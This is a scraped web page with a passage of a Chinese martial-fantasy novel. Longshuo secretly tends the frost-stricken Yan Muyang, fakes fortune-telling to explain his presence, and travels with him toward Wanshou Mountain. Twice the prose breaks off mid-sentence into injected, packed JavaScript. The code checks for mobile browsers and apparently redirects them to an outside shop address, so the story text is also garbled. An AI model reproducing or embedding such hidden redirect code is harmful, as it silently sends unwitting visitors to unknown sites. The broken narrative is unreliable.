他正自在山间欢畅游玩,却忽然之间天色突变,湛蓝的天空顿时变得暗淡阴沉,不一会儿功夫便天降大雪,美丽的景色顿时被大雪淹没变得银装素裹,放眼望去白茫茫的一片。 龙烁十分好奇在这秋高气爽的深秋时节,为何会突然下起了鹅毛大雪,而且在这么寒冷的天气里他只穿了一件单薄的青衣,直冻得他全身瑟瑟发抖起了一身鸡皮疙瘩。 忽然之间,一只巨大的白色妖兽从天而降,朝着龙烁凶狠地扑来。 当这妖兽即将要撞到龙烁的身体时,他猛然惊醒,忽地坐起身来。 剧烈喘息之间,龙烁明白原来他刚才是在做梦,这才慢慢放下心来。 环视四周,他发现自己没有盖上被褥便睡着了,大概是太累了的缘故。 此时,灯笼里的烛火仍在床头不住闪动,而他手中依然紧握着红叶留下的那一小块方巾。 他将红巾收入怀中,迷迷糊糊地回忆着梦中的景象,他记得自己似乎是受到了凶兽的袭击,至于凶兽长得什么样子却是一点也记不得了! 他只记得周围异常寒冷,到现在仍把他冻得腿脚发直浑身打颤,他摸了摸自己的身上,一身的鸡皮疙瘩到现在仍未褪去。 突然感觉哪里不对劲,他使劲揉揉眼睛,终于醒过神来,竟发现自己全身的衣服都覆上了一层薄薄的冰霜,脸部被冻得僵硬,牙齿也跟着打起颤来,这才明白原来现在是真的很冷,暗觉今日才八月十五,怎么会突然变得这么冷了呢! 龙烁不住地摩搓身体,等到血液流通稍稍顺畅了,身体不再僵硬了,鸡皮疙瘩也下去了,这才拿起一只灯笼下了床。 他仔细一瞧,发现地面和墙壁上、屏风和门板上竟然都覆上了一层薄薄的冰霜,放眼望去白茫茫的一片,直如梦中的景象,顿时又起了一身鸡皮疙瘩! 龙烁心中怦怦直跳,暗想不会真的有妖兽吧! 此间房屋并不很大,灯笼一照一览无余,但是他仍然静静地待在原地不敢动弹,生怕被妖兽听见了出来袭击他。虽然他是坚定的无神论者,什么神仙妖怪的他一概不信,但是此时遇到这种情况,也实在有点胆颤心惊。 过了一会儿,他发现周围全无动静,便大着胆子小步小步地往前挪去,他仔细观察之后,发现东首的冰面稍厚,西首的冰面略薄,显然这冷气好像是从东面传来。 “东面?”龙烁暗想:“那不就是一连定下三间客房的那两位公子所在的房间?嗯是了,定是他们在搞鬼!他两人到底在干什么呢,莫非把冰窖给挪到屋里来了?这大半夜的他们不好好睡觉,在房间里玩起冰块来了,害得我差点被吓破了胆——” 想到此处,龙烁顿感一股怒气涌上心头。 他举起灯笼打开房门,气呼呼地直朝东首的房间走去,想找那二人理论一番。 到了他们房间的大门外,龙烁毫不客气,咚咚咚地敲了三下。 无人应答,他又咚咚咚地敲了三下,还是没人理会。 他暗想:“难道屋里没人,那么那冰块又是怎么回事?” 龙烁更加好奇了! 木门被关得死死的,他一推之下纹丝不动,于是心念一转,想起在“悦仙居”门口看到这三间房屋的窗户挨得很近,窗下便是房瓦,从那里可以轻而易举地爬过去,于是飞快地跑回自己的屋中,从窗户上跳了出去。 他一跃之下踩得瓦片吱吱作响,吓得他赶紧放慢脚步,小心翼翼地顺着房檐来到了中间房屋的窗前。 他用手指捅破了窗户上的油纸往里瞧去,却是黑黝黝地什么也看不见,于是用发簪挑开了窗闩,拉开窗扇轻轻一跃,便跳了进去。 龙烁举起灯笼一瞧,瞬间惊呆了。 只见屋内白茫茫地一片,地板屋顶、桌椅板凳、茶壶茶杯、屏风门窗,眼睛所到之处全部都覆上了一层厚厚的冰霜。 这里的冰霜比他自己房间的更厚更白,屋内的温度极低极低,冻得他喷嚏连连! 床上似乎睡得有人,只是距离较远,黑压压地看不清楚。 他举起灯笼一点一点地朝床边挪去,灯光所到之处,那人的状貌便显现了出来。 这人一袭单薄内衣,合手而卧,是名瘦高的男子。 龙烁慢慢靠近,忽然一惊,但见那人面如冠玉、神若天君、清贵绝伦,出尘脱俗,正是今日在林中见到的那位沐阳公子。 龙烁见他睫毛微颤,双目紧闭,心想:“怎么他一个人在这?店家不是说这房中住了两位公子吗?那么另一位一定是了清道长了——” 他举起灯笼来回查看,确认屋中再无他人,便又回到床边,发现这屋里如此寒冷,这沐阳公子却仅穿了一身单薄内衣,连被子也没有盖,于是赶紧拉起他身边的被褥为他盖好,四周也帮他捂得严严实实的! 龙烁用手轻轻触摸他额头,想看看他是不是生病了,然而一碰之下大惊失色,这沐阳公子的身体竟然比冰块还冷,心中暗道:“莫非他已经冻死了?” 然而,他转念一想,又觉不对,他的睫毛还在颤动,呼吸也很均匀,绝对没有死,但是又不像是安然无恙,否则以他的功夫,怎会房中来了人也没察觉呢! 这沐阳公子今日被那朱雀星君叶子规打伤,又听那青龙星君楚作尘的手下说他似乎受伤不轻,不知是不是因此而昏睡不醒,而那了清道长说要为他治伤,这会儿又到哪里去了呢! 龙烁离开他床榻,在房中来回踱步,怎么也想不明白其中道理,忽然发现饭桌的茶壶下面压着一个信封,他拿起来一看,上面写道:阳君亲启! 他翻过来一瞧,信封背面用火漆封死了,龙烁暗想这一定是了清道长留给他的,既然写道“阳君亲启”,那一定是有一些内容不希望被别人看见的了。 他虽然好奇,但又觉得自己是个正人君子,绝对不能去干偷窥人家隐私的事情,于是又将那封信放回到了桌上! 他又开始在房中来回踱步,想着虽然自己跟这位沐阳公子仅有一面之缘,但却感觉他很面善,感觉他似曾相识。此时他一直昏睡不醒,身体又这么冷,一定是生病了,得想个办法给他治病,不然万一他有个三长两短,岂不是白白让他枉送了性命? 可是,这沐阳公子到底为何沉睡不醒,又该当如何给他施救,龙烁却是摸不着头脑。 思来想去,为了沐阳公子的安危,龙烁暂时顾不得那么多了,考虑还是先看看了清道长对沐阳公子有什么嘱托,然后再找办法给他医治,只要自己保证严守秘密不泄露信中的讯息,就连沐阳公子也不会知道,那便不会有什么打紧了! 考虑再三,龙烁终于下定了决心,他掀开灯笼罩,将信封上的火漆用烛火烤软,小心翼翼地取出了其中的信笺,只见上面写道: 吾日前入谷访谒,自伯父得知,汝曾多日未归,暗自惊惧,以觅药为由替汝圆说,遂告辞出谷,四处物寻,至安阳城内,觅得汝踪,于锦官城东,密林之内,与君相会,弗受重伤,幸甚至哉! 汝自幼修习寒冰之术,寒毒侵体,非一日之由,朔日功聚,望日功散,彼时寒气外泄,身虚体弱,需收功闭气,静养休憩,轻衣解带,驱毒散寒,静待子时。 而汝背父出谷,径自南来,离乡背景,奔波劳碌,何为? 吾惧汝伤,亦未及通晓吾师,星夜至此,不可久留,遂书信于汝。 待汝醒复,当即日回谷,切勿使父忧! 早归为盼,友清敬上! 看完书信,龙烁赶紧将信笺塞回信封,又将火漆烤软后重新封好,放回到了茶壶下面。 “原来这沐阳公子和我一样,也是背着家人南来的,我是来巫山寻酒的,却不知他是来做什么的?”,龙烁暗想:“看来这沐阳公子自幼练习寒冰术法,以至于寒毒入体,需要每月望日驱寒散功,今天是八月十五,正好是他散功的日子!可偏偏又不幸遇上那帮星月宫的人非要抓他回去做什么白虎星君,他今天跟我说膻中气海受损,无法镇住体内寒毒,原来并非是因为受伤所致,难怪我给他疗伤的灵药‘龙胆顺气丸’他也不吃。啊,他今天身体如此虚弱,竟然还能够抵御那朱雀星君,看来他平日的功力应是更加厉害的!”,他看了看这满屋的狼藉,又想:“了清道长带他来到悦仙居疗伤休息,弄得房间内满是冰霜,难怪他要定下三个房间,想来是因为他知道这些寒气必然会累及旁边的房屋,怕影响到别人休息,也避免被别人打扰,才选择这样做的了。嗯,这了清道长千里迢迢地赶来,将沐阳公子安置在此之后便即连夜赶回,可见两人的友情是很深的——” 龙烁又提起灯笼走到他床边坐了下来,突然想到信中说他应该尽量穿得单薄,有助于散功驱寒,他仔细一看,果然发现沐阳公子的额头鼻尖上生出了许多豆大的汗珠,于是赶忙将他的被褥掀起堆在一旁,又将他的衣带解开,露出了脖颈和胸膛。 他发现这沐阳公子的皮肤白皙胜雪而又光滑细腻,胸前虽然健硕有力,却没有一丝的汗毛,与自己的大不相同,于是心中一荡,不敢再多看。 龙烁打算找个毛巾来给他擦汗,然而找了半天也没有找到,于是取出红叶留下的那块方巾为他擦拭起来,心中想着那“静待子时”究竟是什么意思?到了子时又会怎么样?他算了算时间,这会儿应该差不多正是子时了。 正在这时,那沐阳公子睫毛微颤,慢慢睁开了眼,发现眼前一个青衣男子拿着一块红巾为自己擦汗,心中一阵烦恶,微微皱起眉来。 还没弄清楚是怎么回事,龙烁只觉后脑一震,回过神来后,竟发现自己已经被沐阳公子反压在床上了。 他心中一惊,手中的灯笼霍地掉在了地上。 烛火燃着了灯笼罩,火势渐起,龙烁大叫道:“我的灯笼!” 龙烁感到有一个凉凉的东西抵在自己的脖子上,他定睛一看,竟是一把透明的匕首,顿时汗毛竖起,紧张了起来。 只听那沐阳公子说道:“这是哪?”,他的声音十分低沉,气势威严得很。 “啊?这,这是悦仙居!” “你是谁?” “噢!是我!啊不,我是——咳咳——” 龙烁被吓得呼吸急促,语无伦次。他乍一反应,觉得经过今日密林一遇,两人算是已经相识,所以说“是我!”,待他思路清晰之后,又想起来白天他被红叶易容成了一个老太婆,虽然他认识沐阳公子,但沐阳公子却不认识他,于是又说道“我是——”,他正打算报上自己的姓名,结果却因太过着急,一口气没有接上,竟被自己的口水呛到了,于是咔咔地咳嗽起来。 还好那燕沐阳足够耐心,等他咳嗽得差不多了,又问道:“你是星月宫的人?” “啊不,不是——” 龙烁连连摆手,暗想我穿了一身青衣,颜色偏黑,这燕沐阳大概以为我是玄武星君的手下要抓他回星月宫了,于是连忙解释道:“我不是星月宫的人!我姓龙名烁字天何,是燕赵人士,家住冀州城内,冀州你知道吗?” “是你救了我?” “不不,不是我!” “那你为何在此?” “我?我是来此地游玩的——” 燕沐阳是问他为什么在自己房中,龙烁却以为他问自己为什么来到巴蜀。 燕沐阳微微皱眉,将匕首抵得更深了一些,威胁道:“说实话!” 龙烁感到脖子吃痛,大叫道:“哎别,别,我说的是实话啊!” 此时,燕沐阳衣衫大敞地压在龙烁身上,雪白的胸膛随着他的呼吸均匀起伏,龙烁忍不住开玩笑道:“还有啊,我可没有断袖之癖,咱两个这样的姿势,我很不舒服啊!” 闻声,燕沐阳抓起龙烁胸口衣襟,一把将他扔下了床。 龙烁屁股吃痛,哎呦哎呦地大叫,站起身来喊道:“我不是这个意思啊,这样更疼,还不如在床上舒——” “服”字还没出口,龙烁又被燕沐阳一把甩到了南面的墙壁。 力量过大,墙面被震碎了一小片,那把冰制的匕首又抵在了龙烁的脖颈中,而此时,燕沐阳竟已穿戴整齐。 后背吃痛,龙烁再不敢嚣张,以求饶的语气说道:“你,你要干什么啊?” “为何在我房中?” 此时两人贴得很近,燕沐阳一双清俊绝伦的眼睛紧紧盯着龙烁,虽然脸色威严,却是极具美感。 龙烁觉得他很面善,心中也就不再害怕,暗想:“他问我为什么来到了他的房中——那了清道长特意定下三个房间将沐阳公子安置在此,而我和红叶通过贿赂钱掌柜硬是住进了旁边的房间。红叶被她母亲带走后,留下我自己在这里休息,以至于半夜被冻醒,偷偷潜入他房中来查看缘由。今日我二人以乱真易容术化作老妪看到了他与朱雀星君的打斗,我又偷看了清道长留给他的书信得知他是背着家里南来,但是这些信息得来的方式都不太光明正大,说出来有损自己正人君子的形象,于是感觉有些难以启齿,不好意思跟他解释——” 他心念一动,觉得不如骗他一骗,于是说道:“啊,那个,我是江湖术士,算命先生,我会占卜术,今日来悦仙居喝酒之时,我算得此房间——呃——今日有异,不明缘由,所以特来查看!” “呵!” 燕沐阳说“呵”字的同时左手一扬,数枚冰箭直插入龙烁耳朵两旁的墙壁之中,做势如果他再不说实话,后面就要对他动手了。 “哎别,别,我真没骗人,我真的会算卦!”,龙烁连忙解释道:“我精通易理,能与神仙通灵,可谓是天上地下之事无所不知,古往今来之人无所不晓,就比如说你姓什么叫什么,我便能算到——” 闻声,燕沐阳将那晶莹剔透的匕首松开了些道:“好,你算,我叫什么?” 龙烁小心翼翼地将他手中的匕首推开,又将红叶的那块方巾拿在左手,右手在上面比画了几下,作势要大展身手一番。他记得那些驱鬼除邪的江湖术士都是拿着一张黄纸在上面胡乱涂鸦以振声势,自己身上没有什么可用之物,于是就拿那块红巾当作法器。 他假装道士的语气在房中踱步道:“天灵灵,地灵灵,让我算算你叫什么名?” 龙烁斜眼瞥见燕沐阳正漠然地看着自己在屋中走来走去,知道他脸上虽没有任何表情,心中却是十分不信,便又走了两个来回后假装惊喜道:“我算到了,我算到了,你姓燕,这个名字嘛,叫——叫沐阳,对吗?” 闻声,燕沐阳稍稍正过身子看向他,略微惊讶地道:“是!” “哈哈,我说吧!这回你信我了吧——” “你再算,我住哪里!” 龙烁一听,背上立时生出一身冷汗。暗想那了清道长在信中并未提及他的住址,只说他是背着父亲南来,倒是多次提到了进谷出谷,还说等他醒过来后让他尽快回谷,那他应该是住在一个山谷里了,但是具体是哪座山,又是什么谷,这他哪里会知道呢! 龙烁强作镇定道:“额——这个——具体住址嘛——我——我得用‘天眼之术’来查看,而且——只能描述我看到的景象,因为那个地方——我没去过,我也不知道那里叫什么名字!” 龙烁心想自己来自华北平原,从来没去过什么山谷,况且这山谷又是他和他父亲的隐居之地,定然十分隐秘,所以很肯定地说自己没去过那里,沐阳公子就一定会相信。 只听燕沐阳说道:“好!” 龙烁将方巾盖住额头来制造神秘感,又以锥风术的手势置于胸前,口中振振有词地道:“天灵灵,地灵灵,让我瞧瞧你住哪里!”,他说着双手的食指和中指一齐在眉间滑过,表示正在开天眼。 待到他感觉火候差不多了,便将红巾取下,望向北面的墙壁,他的眼神明亮而深邃,好像真的看到了千里之外的地方。 只听龙烁惊叫道:“哎呀,我看到了一座神山,山中——山中怪石嶙峋,清泉甘洌,山清水秀,人杰地灵,却不知,那是什么山——” 燕沐阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙烁暗想:“你私自出谷,多日不回,今日又是你驱毒散功、冲破玄关的日子,你父亲能睡得着觉吗!” 见燕沐阳脸有忧色,沉默不语,龙烁竟有些过意不去,毕竟那只是自己天马行空的想象,并非事实,于是将右手拢在耳边,做势正在仔细倾听,然后安慰他道:“我听这位仙人好像说了一句‘子时已过,当无大碍’,他这会儿正打算休息啦!” “嗯!”,燕沐阳朝龙烁点头示意,意思是感谢他使用天眼之术帮自己看到父亲此时的境况,坦然说道:“我此次南来,是为寻人,请你最后再帮我算算,我要找的人,他现在何处!” 龙烁听他语气变得恭敬有礼,显然对自己已经放下了戒备,并且深信不疑,于是朗声说道:“啊!没问题!请稍等。” 他拿起红巾又在房中来回踱步,手指仍在上面划来划去,而实际是在思考如何应对,暗想这燕沐阳连自己的性命安危都不顾,背着父亲偷偷出谷,会来寻找什么人呢?此人定是对他十分重要,那么给他往哪里指比较好呢? 燕沐阳见龙烁又开始做法,便安静地默默等待,他闲来无事,望向周围,发现自己屋中的陈设已是一片冰天雪地,暗暗疑惑到底是什么人带他来到这里的! 不经意间,燕沐阳见到桌上有封书信,便缓缓走过去查看,他脚步轻盈,掷地无声,而龙烁此时仍在思考,并未察觉。 正当龙烁踱步到床前时,他只觉后脑又是一震,而后便发现自己已经仰面朝天地躺在了床上。 燕沐阳此时单膝抵住龙烁的腹部将他压在床上,左手高举着一把冰剑对准他的面部,右手夺过红巾仔细查看,发现这不过就是一块普通的方巾,于是脸现怒气,将红巾往后一掷,又将书信举到他面前厉声道:“骗子!” 龙烁这才明白过来发生了什么事,赶忙叫道:“别,别,沐阳公子,你怎么这么喜欢推人呢,你听我说——你听我解释!” “你还有什么话说!” “那个,我承认我是偷看了书信,是我的不对,但我没骗你,我真的会算卦,你看我刚才算的,不是很准吗?” “哼,我上了你的当,自报了家门,你还不承认你是星月宫的人!”,他说着便挥剑朝龙烁刺来。 龙烁大惊,急忙催动锥风术法,瞬间在胸前生成了一个两寸见方的隐形屏障。 燕沐阳的冰剑一刺不破,连人带剑被震了回去。 龙烁趁机站起身来摆手叫道:“沐阳公子,我真的不是星月宫的人!” “龙氏锥风术!” “啊,对对!我说了,我姓龙名烁字天何,是燕赵人士!” 龙烁一瞥眼间猛然发现那块红巾被燕沐阳刚刚一掷,恰巧掉在了灯笼的余火之中,现下竟已被烧了,顿时一股怒气涌上心头,大喊道:“我的方巾!” “你究竟来此地何意?” 龙烁看到红叶留给他的红巾已烧成灰烬,虽然知道燕沐阳不是故意为之,但是胸中怒火难以遏制,不想再跟他理论,大声喝道:“燕沐阳,你这人蛮不讲理,毁我灯笼,又烧我方巾,你还我来!”,他说着便抡起拳头一扑而上。 龙烁自然打不过燕沐阳,但此时无论他如何拳打脚踢、上下攻击,燕沐阳却是只守不攻,用冰剑来回挡隔,并且不住地叫着“住手”。 龙烁只当没有听见,仍是奋力猛攻,他右手挥拳,极力向燕沐阳头部砸去,却被他左手牢牢锁住,于是左手成掌,向燕沐阳肋下斜劈,却被他的冰剑逼回压在胸前。 燕沐阳顺势期近龙烁喝道:“住手!你打不过我——” “打不过也要打!” 龙烁使出全身力气挣脱束缚,再次朝燕沐阳猛击,却被他一掌推开。 力量过大,震得龙烁整个人向后飞去,仰天倒在了燃烧着的余火旁,只听燕沐阳叫道:“别打了!” 龙烁揉了揉胸口正打算起身再打,一瞥眼间竟发现灯笼的余火中除了红巾的灰烬之外似乎还有银光闪动,他抢过身来查看,发现竟是冰蝶蚕丝,蚕丝极细极细,不仔细看根本难以发现。 他顾不得红巾的灰烬是否烫手,徒手拨开余灰挖出了它的全部。 只见在余火的照耀下,那冰蝶蚕丝熠熠生光,形成了龙飞凤舞般的几个大字——万兽山中等我! 龙烁睁大了眼睛,又惊又喜,暗想:“原来红叶用冰蝶蚕丝在方巾上给我留言,要我在万兽山中等她,怎么之前没有发现呢?啊对了,她曾经说过,冰蝶蚕丝遇水不化,遇火生光,我竟一时忘了!” 他按捺不住喜悦之情,猛拍脑门,责怪自己太愚笨了,又想:“刚才我一时失控误怪了燕沐阳,现下怎么办,难道要给他道歉?” 龙烁脑中灵光闪动,心想不如让他陪我去万兽山一趟,有他在身边,自己也好有个照应,毕竟他亲人在哪谁也不知道,明天诸位英雄汇聚万兽山,或许他要找的人也会到场也说不定。于是他将“中等我”三个字扯下,转身站起,朝燕沐阳摆手道:“不打了,不打了,我打不过你,我认输——” 燕沐阳见他怒气渐消,心下稍安,低声道:“我并非有意!” “哼——”,龙烁假装责怪道:“我好心好意帮你占卜算卦,你却烧我灯笼,毁我法器,累得我今后再也无法施法占卜了!” “那方巾,我还你!” “哈,你以为这是普通的方巾吗?我在上面施法,本来只有我一人能见到神灵的旨意,现下它已被烧毁,失了灵气,以致于所有人都能看到了,你瞧!”,龙烁朝红巾的灰烬一指,放声大哭道:“我的方巾啊——我的方巾——啧啧!” 燕沐阳大感莫名其妙,缓缓走上前来单膝跪地仔细查看,他眼光轻轻一扫,顿时抬头朝龙烁叫道:“万兽山!”,他的眼神熠熠放光,眉间神采飞扬。 “没错,此地往东三百里,即是万兽山,你要找的人,便在那里!” 燕沐阳站起身来,躬身施礼道:“龙公子——多谢!” “诶——你先别着急谢我,本来明日我也是要去那万兽山的,现下我的法器已毁,武功术法又低微,你害得我想去也去不成了!” “你放心,有我在,必会保你安全!” 龙烁转悲为喜道:“这可是你说的啊!” 燕沐阳微微点头,眼神坚定,嘴角微弯。 龙烁转身偷笑,暗想这回一定能再见到红叶了! 10. 采花大盗 翌日清晨,龙烁从自己屋中出来后便去敲燕沐阳的房门,见无人应答,便下了楼,竟发现他已经在东首靠窗的饭桌旁等自己了。 两人吃了早点后便打算尽快赶往万兽山。 启程前,龙烁道:“那个,沐阳公子,我囊中羞涩,能不能借我点银两买酒?” 燕沐阳从胸口的衣袋中掏出二两银子问道:“够吗?” “够啦够啦,谢啦,回头还你!” 龙烁抓过银子跑到账台要了两坛子“小清酿”,一口气喝完一坛,另一坛装进酒葫芦中打包带走,见燕沐阳略微惊讶地看着自己,于是说道:“啊,不好意思,忘了问你,你喝不喝?” 燕沐阳只是微微摇头,并未答话。 “这酒清甜甘洌,喝完之后神清气爽!你真不来一点吗?” “我不会酒!” 龙烁奇道:“天下哪有男人不会喝酒的?你今年多大?” “未满十八!” 龙烁惊道:“原来你还未成年啊!呵呵,那还是不喝的好!这酒别名‘顷刻醉’,你以前没喝过酒,要是喝上一口,怕是咱俩都走不了了!” 二人从店家那里购置了两匹快马,出得“悦仙居”来,便即乘马飞奔,向东而去。 奔得大概两个时辰,已近正午,龙烁发现路边有一个露天的茶肆供来往的行人歇脚饮水,便道:“沐阳公子,咱们在这里休息一会儿再继续赶路吧!” 燕沐阳微微点头,问道:“还有多远?” “我们已经走了将近一半的路程,傍晚之前必能赶到,猎奇之争明日才开始,咱们晚不了,放心吧!” 两人将马匹拴到一棵大树上,在靠近路边的桌旁落座。 龙烁发现这个茶摊虽然不大,只摆放了七八张桌子,却几乎坐满了人,大部分似是当地的农民,但也有四人腰间悬挂着佩刀,显是江湖中人。 这四人均穿黄色衣衫,三男一女,围桌而坐,他们互不讲话,只是低头喝茶。 “店家,来一碗清茶!”,龙烁放声喊道。 燕沐阳眼光轻扫龙烁,没有说话。 “诶,来啦来啦!”,那摊主见两位公子状貌不凡,不敢懈怠,立即跑上前来问道:“这位客官,您两位公子就要一碗清茶?咱们家的竹叶青都是今年新采摘的,香得很,不但解渴,还有充饥的效用呐——” “一碗足矣!”,龙烁将酒葫芦递到店小二面前,嘿嘿一笑,说道:“你家茶叶再好,却没我这个好使啊!你尽管给这位公子上茶即可——” “唉好嘞!” 顷刻间,一碗热气腾腾的清茶摆在了燕沐阳面前,茶叶碧绿青翠,根根竖起,似春笋般在碗中生根发芽。 燕沐阳端坐出神,只看不喝,似有心事。 “沐阳公子,你为什么不喝?”,龙烁不解道:“是不喜欢这茶吗?” 燕沐阳摇了摇头道:“喜欢。” “哈,你都还没有品尝它的味道,就知道喜欢啊!” “这茶,我喝过!” “咦?据我所知,这竹叶青只在南方盛产,莫非你以前来过这里?” 燕沐阳摇了摇头道:“我母亲是南方人,父亲爱喝此茶,所以家中常备!” “噢,原来是这样!”,龙烁思索了一会儿问道:“沐阳公子,你此次南来寻亲,莫非就是来寻找你的母亲?” 燕沐阳微微摇头,不再说话。 龙烁见他不愿回答,显是对自己还有些见外,于是想着套套近乎,说道:“此地山清水秀,景色宜人,不但是游玩的好地方,而且气候温润,沁人心脾,养得这里人杰地灵,美女如云,我想你的母亲,必然也是大大的美人啦!” 燕沐阳微微摇头,轻声说道:“我没见过,我出生时,她因难产而死!” 龙烁尴尬不已,致歉道:“对不住,沐阳公子,我并非有意提起你的伤心事!” 燕沐阳轻轻摇头,并没有责怪龙烁的意思,片刻之后,说道:“我虽没有亲眼见过她,但是从父亲的亲笔画中看到过,我母亲年轻时,的确惊为天人!” “那是一定,那是一定!”,龙烁赶忙称是,恭维道:“不然也不会生的沐阳公子你如此出尘脱俗,气宇不凡了!” 燕沐阳淡淡的道:“多谢!” 龙烁见他端起茶碗不再说话,暗想这沐阳公子竟不吃恭维这一套,于是打算问他到底来找什么亲人,却害怕一不小心再提及他的隐私,话到嘴边,又停住了。 正在这时,忽听一个女子尖叫的声音从背后传来。 龙烁回头一看,却见那四个带刀的江湖人士忽然起身,将佩刀置于胸前以作防御,而四周却并无异常。 发出尖叫之声的正是其中的那名女子。 那女子面前的茶碗突然一下子凌空而起,缓缓围绕着她的身子旋转了一圈,又停在了她面前。碗身微微倾斜,似是要那女子喝茶! 龙烁不禁大为惊奇,发现那茶碗好像正被一只无形的手端在空中,于是睁大了眼睛仔细观察,却是什么端倪也没有发现,而此时,那三名男子都不敢轻举妄动,只听到那女子不住地发出惊恐的声音。 四下的人们见此情状都吓得魂不附体,有几个中年男子边逃边喊道:“有鬼啊,有鬼——” 众人一惊,都开始四散奔逃,片刻间便只剩下了龙烁、燕沐阳和那三男一女的江湖人士,连那摊主也已逃得无影无踪了,而燕沐阳此时仍是不动声色,静静喝茶。 龙烁深受到那些逃跑之人的影响,顿时感到毛骨悚然,却见燕沐阳稳坐如山,于是问道:“沐阳公子,你知道这是怎么回事?” “不知!” “那你不害怕?” “怕什么?” “怕鬼啊!” “我们并未招惹鬼怪,它们为何找我们麻烦?” 龙烁尴尬一笑,觉得他说得也有道理,光天化日之下,怎么可能有鬼,于是平复下来心情,却见那女子桌前的另一个茶碗又是凌空而起,缓缓飘至她面前。 碗身微微倾斜,便听到“咕嘟咕嘟”几声轻响。 片刻间,碗中的茶水便已消失不见,似是被什么人喝了。 龙烁大惊失色,一把抱住了燕沐阳叫道:“有鬼啊,真的有鬼——” 那四人更是吓了一跳,其中一名男子朝停在半空中的那两个茶碗猛砍了两刀,茶碗便即被打碎。 碎片洒落了一地,紧接着,四人桌上剩余的两个茶碗也腾地一下子凌空而起,停在了那女子面前。 那三名男子纷纷觉得一定是有什么东西在作怪,奋力挥刀乱砍,却是除了空气,什么也没有砍到,于是其中一男子将停在空中的两个茶碗也砍碎了。 旋即,一名男子的佩刀忽地被什么东西夺下,然后被远远地掷了出去,紧接着其他几人的佩刀也是一般地不翼而飞。 燕沐阳一把推开龙烁,单手将他按回到了座位上,说道:“不必惊慌,是隐身术!” “什——什么?隐身术?” “嗯,你可听过‘护体三身’?” “护体三身术?松杨先生?” 燕沐阳微一点头,说道:“松杨先生闲云野鹤,居无定所,却喜到处收徒,想必这人,便是松杨先生的其中一位弟子了!” “噢,你是说有人在使用隐身术捣鬼?”,龙烁回想刚才那咕嘟咕嘟喝茶的声音,确实似是活人发出,终于明白其中原委,便不再害怕,说道:“既是如此,沐阳公子,你身手这么好,快去逼他现身,救那四人——” 燕沐阳眼神漠然,纹丝不动,说道:“江湖之事,我不便插手!” “为什么?”,龙烁见那几人已经害怕至极,忙道:“也不知这位‘隐君子’是男是女,有什么企图,难道沐阳公子你不想知道吗?” “我只为找人,他人之事,与我无关!” “啊?”,龙烁无奈一笑,转身向那四人喊道:“各位不要惊慌,这是有人在使用隐身之术吓唬你们呢——” 四人一听,恍然大悟,立即镇定下来,那女子道:“大哥,你耳力最好,请你指示我们对敌!” 一名年岁较长的男子随即闭上眼睛,其余三人便即静立不动,以免发出声响,打扰他的听力。 只见那被叫作大哥的男子耳朵微一闪动,便即睁开了眼,他朝站在北首的那名男子说道:“二弟,在你右方!” 闻声,那二弟迅速击出一掌,重重地打在了那名隐身人的身上。 只听一个中年男子的声音微一呻吟,说道:“厉害啊,竟被你们发现了!” 四人听到一个陌生男子的声音从北面传来便即一哄而上,然而由于隐身人不住地挪动方位,大家群起而攻又导致声音嘈杂,他们大哥又无法辨认出隐身人的准确位置了,于是各人只是胡乱出招,虚打一通。 片刻间,四人分别被那隐身人击中了胸部、背部、颈部和腿部,逐一倒地呻吟起来。 那隐身人趁机又抓起一碗茶水置于那女子嘴边,只见那女子下巴微微一扬,似是被那隐身人掐住了脖子,欲给她灌下这碗茶水。 一男子怒斥道:“恶贼,你硬要给我小妹喝茶做甚?” 那女子道:“三哥,这茶有——桂花的香气,不知他放了——什么在里面——” 龙烁终于按耐不住,他忽地站起,想冲上去帮忙,燕沐阳起身拦住他道:“不需要咱们——” “什么?” 正在此时,只听一个年迈老者的嬉笑之声从后方传来,那隐身人听到声音立马放开了那女子,扔掉了茶碗。 龙烁转身一看,那老者从东面奔来,速度奇快,一眨眼间竟已从他身旁掠过,站在了那四兄妹面前。 龙烁见那老者身穿布衣,满头白发,一把山羊胡须中间短两边长,长须被他自己带起的巨风吹得飞舞飘扬,宛如一个老神仙一样,不禁暗暗称奇。 只听那老者哈哈大笑道:“有意思,有意思,嘿嘿——”,旋即他从胸前取出一支金光灿烂的画笔来,高兴地说道:“我来陪你玩——” “七彩云霄笔!”,那大哥喊道。 “是嘻哈画师——徐若谷老前辈——”,那二弟叫道。 四人顿时兴奋非常,似是看到了希望。 徐若谷白眉一扬,问道:“嘻哈画师?谁给我起的名字?” 那女子奋力起身,躬身施礼道:“徐前辈,是我兄妹四人平日里谈论武功术法提到您时我给您取的,玩笑话而已,二哥心直口快,说了出来,还请您不要责怪!” “这名字起得好,我喜欢,哈哈,小女娃娃不但长得漂亮,还机灵的紧——” 徐若谷将手中的画笔打了几个转,旋即握住笔杆朝西首一挥,一缕红色的彩墨喷射而出,正正地打中了那个隐身人的胸膛。那人的胸膛被红色墨水一泼,便即暴露了其位置所在,徐若谷又哈哈大笑起来。 龙烁见一滩红色墨水在空中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231107|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来回飘荡,顿觉好笑,暗想徐若谷前辈明知那隐身人的方位所在,却不去抓他,而是故意戏耍,当真贪玩胡闹,这“嘻哈”二字再适合他不过。 旋即,橙、黄、绿、青、蓝、紫等各种彩墨依次从那支七彩云霄笔中激射而出,涂满了那隐身之人的全身,其状貌便即显现出来。 龙烁见这人身高八尺,高鼻阔目,雄壮威武,龙骧虎步,实在好奇他暗使隐身术去招惹那兄妹四人,究竟是要做什么。 